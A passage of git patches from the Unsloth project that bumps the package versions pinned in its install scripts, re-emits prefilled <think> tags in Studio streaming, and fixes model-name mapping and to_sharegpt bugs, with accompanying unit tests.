         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2169,7 +2169,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2235,7 +2235,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2247,7 +2247,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2275,7 +2275,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.1" "unsloth>=2026.7.1" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index 796d80e401..0acc9ec0be 100755
--- a/install.sh
+++ b/install.sh
@@ -2706,7 +2706,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
+            "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2721,7 +2721,7 @@ if [ "$_MIGRATED" = true ]; then
         # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" ${_MLX_LM_EXCLUDE_ARG:-}
+            "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2925,7 +2925,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
+            "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2943,7 +2943,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
+            --upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2975,7 +2975,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.1" "unsloth>=2026.7.1" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."

From 5c2e53606e513cab3b698852b928b2b4484ada76 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 8 Jul 2026 08:14:03 -0700
Subject: [PATCH 270/306] Studio: render thinking blocks for safetensors
 inference with prefilled <think> templates (#6816)

* Studio: render thinking blocks for safetensors inference with prefilled <think> templates

Reasoning templates like Qwen3.6 end the generation prompt with an open
<think> tag. skip_prompt streaming drops it, so the frontend never sees
the opening tag and shows reasoning as plain text. Detect the prefill
and re-emit it at the start of the stream on the transformers and MLX
paths. Also stop stripping think tags in _clean_generated_text when a
tokenizer marks them special.

* Studio: guard think re-emit for special close tags, yield prefill early

Address review feedback:
- Guard: skip re-emitting the open <think> when the tokenizer marks </think>
  as a special token, since skip_special_tokens would strip the model's close
  tag and leave an unclosed block that swallows the answer. Falls back to
  plain text (pre-fix behaviour) for those tokenizers.
- Yield the prefilled <think> before the first token so the thinking block
  renders during prompt prefill instead of after the first generated token.
- Drop the now-unnecessary _clean_generated_text think-tag exemption; the
  guard handles the special-token case at the source.

No mainstream reasoning model (Qwen3.6, Qwen3, DeepSeek-R1, QwQ, GLM-4.6)
marks think tags special, so behaviour is unchanged for them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lyxot <longyixing331@gmail.com>
---
 .../core/inference/chat_template_helpers.py   | 37 ++++++++
 studio/backend/core/inference/inference.py    | 31 ++++++-
 .../backend/core/inference/mlx_inference.py   | 20 ++++-
 .../tests/test_think_prefill_reemit.py        | 89 +++++++++++++++++++
 4 files changed, 173 insertions(+), 4 deletions(-)
 create mode 100644 studio/backend/tests/test_think_prefill_reemit.py

diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index dfd4c1c0bc..897db8262d 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -12,6 +12,43 @@ import json
 import logging
 from typing import Optional
 
+_THINK_OPEN = "<think>"
+_THINK_CLOSE = "</think>"
+
+
+def detect_think_prefill(prompt: Optional[str], special_tokens = None) -> str:
+    """Return the trailing open ``<think>`` prefill of a rendered prompt.
+
+    Reasoning templates (Qwen3.6, DeepSeek-R1-style) end the generation
+    prompt with ``<think>\\n`` so the model starts reasoning immediately.
+    Because that opening tag is part of the *prompt*, skip_prompt streaming
+    never emits it, and the frontend's ``<think>``/``</think>`` parser shows
+    the reasoning as plain text instead of a thinking block. (The GGUF path
+    is unaffected: llama-server's reasoning parser returns
+    ``reasoning_content``, which gets re-wrapped in think tags.)
+
+    Returns the exact prompt tail to re-emit at the start of the generated
+    stream (e.g. ``"<think>\\n"``), or ``""`` when the prompt does not end
+    with an open think block, including the ``enable_thinking=False`` case
+    where templates prefill an already-closed ``<think>\\n\\n</think>``.
+
+    ``special_tokens`` is the tokenizer's special-token list. If ``</think>``
+    is one, the streamer's skip_special_tokens strips the model's closing tag,
+    so re-emitting the open would leave an unclosed block that swallows the
+    answer. In that case return ``""`` and fall back to plain text.
+    """
+    if not prompt:
+        return ""
+    open_idx = prompt.rfind(_THINK_OPEN)
+    if open_idx == -1:
+        return ""
+    tail = prompt[open_idx:]
+    if _THINK_CLOSE in tail or tail.strip() != _THINK_OPEN:
+        return ""
+    if special_tokens and _THINK_CLOSE in set(special_tokens):
+        return ""
+    return tail
+
 
 logger = logging.getLogger(__name__)
 
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 167706f701..7e69e05124 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -1178,13 +1178,22 @@ class InferenceBackend:
                 add_special_tokens = False,
                 return_tensors = "pt",
             ).to(model.device)
+            prompt_text = input_text
         else:
             # Text-only path for a vision model
             formatted_prompt = self.format_chat_prompt(messages, system_prompt)
             inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to(model.device)
+            prompt_text = formatted_prompt
 
         # Stream with TextIteratorStreamer + background thread
         try:
+            from core.inference.chat_template_helpers import detect_think_prefill
+
+            # Re-emit an open <think> prefill swallowed by skip_prompt (see
+            # generate_stream).
+            think_prefix = detect_think_prefill(
+                prompt_text, getattr(raw_tokenizer, "all_special_tokens", None)
+            )
             from transformers import TextIteratorStreamer
             import threading
 
@@ -1233,7 +1242,11 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
 
             generation_complete = False
@@ -1467,6 +1480,16 @@ class InferenceBackend:
 
             from transformers import TextIteratorStreamer
             import threading
+            from core.inference.chat_template_helpers import detect_think_prefill
+
+            # skip_prompt swallows an open <think> prefilled by the template;
+            # re-emit it so the frontend can render the thinking block.
+            # gpt-oss emits its own tags via HarmonyTextStreamer.
+            think_prefix = (
+                ""
+                if self._is_gpt_oss_model()
+                else detect_think_prefill(prompt, getattr(tokenizer, "all_special_tokens", None))
+            )
 
             # gpt-oss models: HarmonyTextStreamer parses the multi-channel
             # harmony protocol into <think> tags
@@ -1550,7 +1573,11 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
 
             generation_complete = False
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index d84baa278d..6287b184a6 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -485,6 +485,7 @@ class MLXInferenceBackend:
 
         from core.inference.chat_template_helpers import (
             apply_chat_template_for_generation,
+            detect_think_prefill,
             render_with_native_template_fallback,
         )
 
@@ -518,6 +519,15 @@ class MLXInferenceBackend:
             hf_token = model_info.get("hf_token"),
         )
 
+        # An open <think> prefilled by the template lives in the prompt, not
+        # the generated tokens; re-emit it so the frontend renders the block.
+        think_prefix = detect_think_prefill(
+            prompt, getattr(self._tokenizer, "all_special_tokens", None)
+        )
+        # Emit it before the first token so the block renders during prefill.
+        if think_prefix:
+            yield think_prefix
+
         sampler = make_sampler(
             temp = temperature,
             top_p = top_p,
@@ -570,7 +580,7 @@ class MLXInferenceBackend:
                         token_ids,
                         skip_special_tokens = True,
                     )
-                    yield cumulative
+                    yield think_prefix + cumulative
 
                     if cancel_event and cancel_event.is_set():
                         break
@@ -634,7 +644,13 @@ class MLXInferenceBackend:
         # mlx_vlm's stream_generate handles pixel_values (None for text-only)
         images = [image] if image is not None else None
 
-        cumulative = ""
+        from core.inference.chat_template_helpers import detect_think_prefill
+
+        # Re-emit an open <think> prefill from the prompt (see _generate_text).
+        cumulative = detect_think_prefill(prompt, getattr(chat_target, "all_special_tokens", None))
+        # Emit it before the first token so the block renders during prefill.
+        if cumulative:
+            yield cumulative
         logger.info(
             "VLM generating: prompt_len=%d, has_image=%s",
             len(prompt),
diff --git a/studio/backend/tests/test_think_prefill_reemit.py b/studio/backend/tests/test_think_prefill_reemit.py
new file mode 100644
index 0000000000..300ff92776
--- /dev/null
+++ b/studio/backend/tests/test_think_prefill_reemit.py
@@ -0,0 +1,89 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Unit tests for detect_think_prefill.
+
+Reasoning templates (Qwen3.6-style) end the generation prompt with an open
+``<think>\\n`` so the model starts reasoning immediately. skip_prompt
+streaming drops that opening tag, so the safetensors/MLX paths must re-emit
+it for the frontend's <think> parser to render a thinking block.
+"""
+
+import os
+import sys
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.chat_template_helpers import detect_think_prefill
+
+
+QWEN_PROMPT = "<|im_start|>user\nHi!<|im_end|>\n<|im_start|>assistant\n"
+
+
+def test_open_think_prefill_reemitted():
+    """Qwen3.6-style enable_thinking=True prompt tail: <think>\\n."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n") == "<think>\n"
+
+
+def test_bare_open_think_prefill_reemitted():
+    """Prefill without trailing newline still detected."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>") == "<think>"
+
+
+def test_closed_think_prefill_not_reemitted():
+    """enable_thinking=False prefills a closed, empty think block."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n\n</think>\n\n") == ""
+
+
+def test_prompt_without_think_untouched():
+    """Non-reasoning templates produce no prefix."""
+    assert detect_think_prefill(QWEN_PROMPT) == ""
+
+
+def test_historical_think_blocks_ignored():
+    """A closed think block in a prior assistant turn (preserve_thinking)
+    must not trigger re-emission when the generation tail is plain."""
+    prompt = (
+        "<|im_start|>user\nHi!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\nprior reasoning\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>user\nAgain?<|im_end|>\n<|im_start|>assistant\n"
+    )
+    assert detect_think_prefill(prompt) == ""
+
+
+def test_historical_blocks_plus_open_prefill():
+    """Prior closed blocks plus a fresh open prefill: only the tail matters."""
+    prompt = (
+        "<|im_start|>assistant\n<think>\nprior\n</think>\n\nHello!<|im_end|>\n"
+        "<|im_start|>assistant\n<think>\n"
+    )
+    assert detect_think_prefill(prompt) == "<think>\n"
+
+
+def test_content_after_open_tag_not_reemitted():
+    """If non-whitespace follows the tag it is not a plain prefill."""
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\npartial reasoning") == ""
+
+
+def test_empty_and_none_prompts():
+    assert detect_think_prefill("") == ""
+    assert detect_think_prefill(None) == ""
+
+
+def test_guard_suppresses_when_close_tag_is_special():
+    """If </think> is a special token, skip_special_tokens strips the model's
+    close tag, so re-emitting the open would leave an unclosed block. Guard off."""
+    specials = ["<|im_end|>", "<think>", "</think>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == ""
+
+
+def test_guard_emits_when_think_not_special():
+    specials = ["<|im_end|>", "<|endoftext|>"]
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", specials) == "<think>\n"
+
+
+def test_guard_default_and_empty_keep_emitting():
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", None) == "<think>\n"
+    assert detect_think_prefill(QWEN_PROMPT + "<think>\n", []) == "<think>\n"

From 7a9fb4404e5c81ef5eb34de7d7944bd476c6192b Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 8 Jul 2026 08:17:09 -0700
Subject: [PATCH 271/306] Remove API menu new badge (#6983)

---
 studio/frontend/src/components/app-sidebar.tsx | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index f59a952b3a..823e420869 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -1572,9 +1572,6 @@ export function AppSidebar() {
                   >
                     <HugeiconsIcon icon={Globe02Icon} strokeWidth={1.75} className="size-[18px]" />
                     <span>{t("shell.navigation.api")}</span>
-                    <span className="ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                      {t("common.new")}
-                    </span>
                   </DropdownMenuItem>
                   <DropdownMenuItem
                     ref={anchorRef as React.Ref<HTMLDivElement>}

From 92c3e48529c8b7f96033f52f93845819b2ae53e3 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Wed, 8 Jul 2026 13:37:44 -0700
Subject: [PATCH 272/306] Fix BAD_MAPPINGS not redirecting the
 -unsloth-bnb-4bit dynamic quants (#6949)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 .github/workflows/consolidated-tests-ci.yml |  1 +
 tests/test_bad_mappings_redirect.py         | 47 +++++++++++++++++++++
 unsloth/models/loader_utils.py              |  5 +++
 3 files changed, 53 insertions(+)
 create mode 100644 tests/test_bad_mappings_redirect.py

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index ae4b386589..6ff3d19ba2 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -364,6 +364,7 @@ jobs:
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
+            tests/test_bad_mappings_redirect.py \
             tests/test_prefetch_snapshot_scope.py \
             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
diff --git a/tests/test_bad_mappings_redirect.py b/tests/test_bad_mappings_redirect.py
new file mode 100644
index 0000000000..49dab2d98b
--- /dev/null
+++ b/tests/test_bad_mappings_redirect.py
@@ -0,0 +1,47 @@
+"""Regression test for BAD_MAPPINGS redirecting oversized dynamic quants.
+
+get_model_name previously applied BAD_MAPPINGS only to the resolver's output,
+but several listed names (the `-unsloth-bnb-4bit` dynamic quants, plus any name
+the resolver doesn't map) come back as None, so their BAD_MAPPINGS entries were
+dead and the oversized model loaded. Asserting over every entry catches all of
+them. The mapper table and the resolver have no heavy imports of their own,
+so we exec the import-free mapper module and ast-extract the resolver functions
+rather than importing unsloth (which needs a GPU).
+"""
+
+import ast
+import os
+
+_MODELS = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models")
+
+
+def _load_get_model_name():
+    mapper_ns = {}
+    with open(os.path.join(_MODELS, "mapper.py"), encoding = "utf-8") as f:
+        exec(compile(f.read(), "mapper.py", "exec"), mapper_ns)
+
+    with open(os.path.join(_MODELS, "loader_utils.py"), encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    namespace = dict(mapper_ns)
+    namespace["SUPPORTS_FOURBIT"] = True
+    namespace["_env_says_offline"] = lambda: True
+    namespace["_get_new_mapper"] = lambda: ({}, {}, {})
+
+    wanted = {"__get_model_name", "_resolve_with_mappers", "get_model_name"}
+    for node in tree.body:
+        if isinstance(node, ast.Assign) and any(
+            getattr(target, "id", None) == "BAD_MAPPINGS" for target in node.targets
+        ):
+            exec(compile(ast.Module([node], []), "<bad_mappings>", "exec"), namespace)
+        elif isinstance(node, ast.FunctionDef) and node.name in wanted:
+            exec(compile(ast.Module([node], []), node.name, "exec"), namespace)
+
+    return namespace["get_model_name"], namespace["BAD_MAPPINGS"]
+
+
+def test_bad_mappings_redirect_every_listed_name():
+    get_model_name, bad_mappings = _load_get_model_name()
+    assert bad_mappings, "BAD_MAPPINGS should not be empty"
+    for name, expected in bad_mappings.items():
+        assert get_model_name(name, load_in_4bit = True) == expected, name
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index d6d6ce877e..fa6282bcf6 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -239,6 +239,11 @@ def get_model_name(
         and new_model_name.lower() in BAD_MAPPINGS
     ):
         new_model_name = BAD_MAPPINGS[new_model_name.lower()]
+    elif new_model_name is None and model_name.lower() in BAD_MAPPINGS:
+        # Some bad names (e.g. the `-unsloth-bnb-4bit` dynamic quants) are keys
+        # of the mappers, not values, so the resolver returns None for them and
+        # the remap above is skipped; remap the input name directly instead.
+        new_model_name = BAD_MAPPINGS[model_name.lower()]
 
     if (
         new_model_name is None

From dc4618ce475554d99fab76daae9746baa62bf090 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Wed, 8 Jul 2026 13:40:39 -0700
Subject: [PATCH 273/306] Fix duplicate unsloth/gemma-2b-bnb-4bit mapper key
 routing the base 4bit repo to the instruct model (#6891)

---
 .github/workflows/consolidated-tests-ci.yml |  1 +
 tests/test_gemma_2b_mapper_key.py           | 46 +++++++++++++++++++++
 unsloth/models/mapper.py                    |  2 +-
 3 files changed, 48 insertions(+), 1 deletion(-)
 create mode 100644 tests/test_gemma_2b_mapper_key.py

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index 6ff3d19ba2..1bb4c2bb58 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -366,6 +366,7 @@ jobs:
             tests/python/test_fast_language_model_text_only.py \
             tests/test_bad_mappings_redirect.py \
             tests/test_prefetch_snapshot_scope.py \
+            tests/test_gemma_2b_mapper_key.py \
             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
           # only bound on the module when `flash_attn` is importable. flash_attn
diff --git a/tests/test_gemma_2b_mapper_key.py b/tests/test_gemma_2b_mapper_key.py
new file mode 100644
index 0000000000..31edacfce4
--- /dev/null
+++ b/tests/test_gemma_2b_mapper_key.py
@@ -0,0 +1,46 @@
+"""Regression test for the duplicate ``unsloth/gemma-2b-bnb-4bit`` key in
+``unsloth/models/mapper.py``.
+
+The 4bit instruction-tuned Gemma 2B entry was accidentally keyed with the base
+model's repo name, so ``__INT_TO_FLOAT_MAPPER`` held two identical
+``unsloth/gemma-2b-bnb-4bit`` keys. Python keeps only the last value for a
+duplicate literal key, so the base 4bit repo resolved to the *instruct* model,
+the base model lost its reverse (4x-faster) mapping, and
+``unsloth/gemma-2b-it-bnb-4bit`` was never registered at all.
+
+``mapper.py`` has no imports, so we exec it directly and inspect the built
+mappers without importing ``unsloth`` (which requires a GPU).
+"""
+
+import os
+
+MAPPER_PATH = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models", "mapper.py")
+
+
+def _load_mappers():
+    with open(MAPPER_PATH) as f:
+        source = f.read()
+    namespace = {}
+    exec(compile(source, MAPPER_PATH, "exec"), namespace)
+    return namespace
+
+
+def test_gemma_2b_base_and_instruct_4bit_are_distinct():
+    namespace = _load_mappers()
+    int_to_float = namespace["INT_TO_FLOAT_MAPPER"]
+    float_to_int = namespace["FLOAT_TO_INT_MAPPER"]
+
+    # The base 4bit repo must resolve to the base model, not the instruct one.
+    assert int_to_float["unsloth/gemma-2b-bnb-4bit"] == "unsloth/gemma-2b"
+
+    # The instruct 4bit repo must be registered and resolve to the instruct model.
+    assert "unsloth/gemma-2b-it-bnb-4bit" in int_to_float
+    assert int_to_float["unsloth/gemma-2b-it-bnb-4bit"] == "unsloth/gemma-2b-it"
+
+    # The base model must reverse-map back to the base 4bit repo.
+    assert float_to_int["unsloth/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+    assert float_to_int["google/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+
+    # The instruct model must reverse-map to the instruct 4bit repo.
+    assert float_to_int["unsloth/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
+    assert float_to_int["google/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
diff --git a/unsloth/models/mapper.py b/unsloth/models/mapper.py
index 57c1e292c3..f3a0e1f9bb 100644
--- a/unsloth/models/mapper.py
+++ b/unsloth/models/mapper.py
@@ -134,7 +134,7 @@ __INT_TO_FLOAT_MAPPER = \
         "unsloth/gemma-7b-it",
         "google/gemma-7b-it",
     ),
-    "unsloth/gemma-2b-bnb-4bit" : (
+    "unsloth/gemma-2b-it-bnb-4bit" : (
         "unsloth/gemma-2b-it",
         "google/gemma-2b-it",
     ),

From 85a068cfe10f2f8bc214dbd2e0b82164419fc8de Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Wed, 8 Jul 2026 13:57:41 -0700
Subject: [PATCH 274/306] Fix to_sharegpt optional block rendering "None" for
 missing extra columns (#6827)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 .../python/test_to_sharegpt_optional_none.py  | 97 +++++++++++++++++++
 unsloth/chat_templates.py                     | 13 ++-
 2 files changed, 108 insertions(+), 2 deletions(-)
 create mode 100644 tests/python/test_to_sharegpt_optional_none.py

diff --git a/tests/python/test_to_sharegpt_optional_none.py b/tests/python/test_to_sharegpt_optional_none.py
new file mode 100644
index 0000000000..05fcb8a6a8
--- /dev/null
+++ b/tests/python/test_to_sharegpt_optional_none.py
@@ -0,0 +1,97 @@
+import ast
+import re
+from pathlib import Path
+
+
+def _load_formatter_builders():
+    # Extract _parse_combined_prompt and _create_formatter without importing
+    # unsloth (importing unsloth needs unsloth_zoo / a GPU). Both are pure
+    # Python and only use the `re` module.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    wanted = {"_parse_combined_prompt", "_create_formatter"}
+    funcs = [
+        node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name in wanted
+    ]
+    namespace = {"re": re}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_parse_combined_prompt"], namespace["_create_formatter"]
+
+
+class _StubDataset:
+    def __init__(self, column_names):
+        self.column_names = column_names
+
+
+def _render(merged_prompt, columns, batch):
+    parse, create = _load_formatter_builders()
+    possible_columns, final_optional_prompts = parse(merged_prompt, _StubDataset(columns))
+    processor = create(possible_columns, final_optional_prompts, "text")
+    return processor(batch)["text"]
+
+
+def test_optional_block_missing_second_column_does_not_render_none():
+    # A [[...]] block may reference several columns; only the first gates the
+    # block. A later column that is None must not render as the literal "None".
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_all_columns_present_unchanged():
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": ["France"]},
+    )
+    assert out[0] == "Location: Paris, France end"
+
+
+def test_optional_block_gating_column_empty_is_dropped():
+    # When the gating (first) column is empty the whole block is omitted; this
+    # behaviour is unchanged by the None coercion.
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": [""], "country": ["France"]},
+    )
+    assert out[0] == "Location:  end"
+
+
+def test_single_column_optional_block_gated_out_on_none():
+    # Single-column blocks were already gated correctly (the sole column is the
+    # gate); confirm they stay unaffected.
+    merged_prompt = "Name: [[{name}]]!"
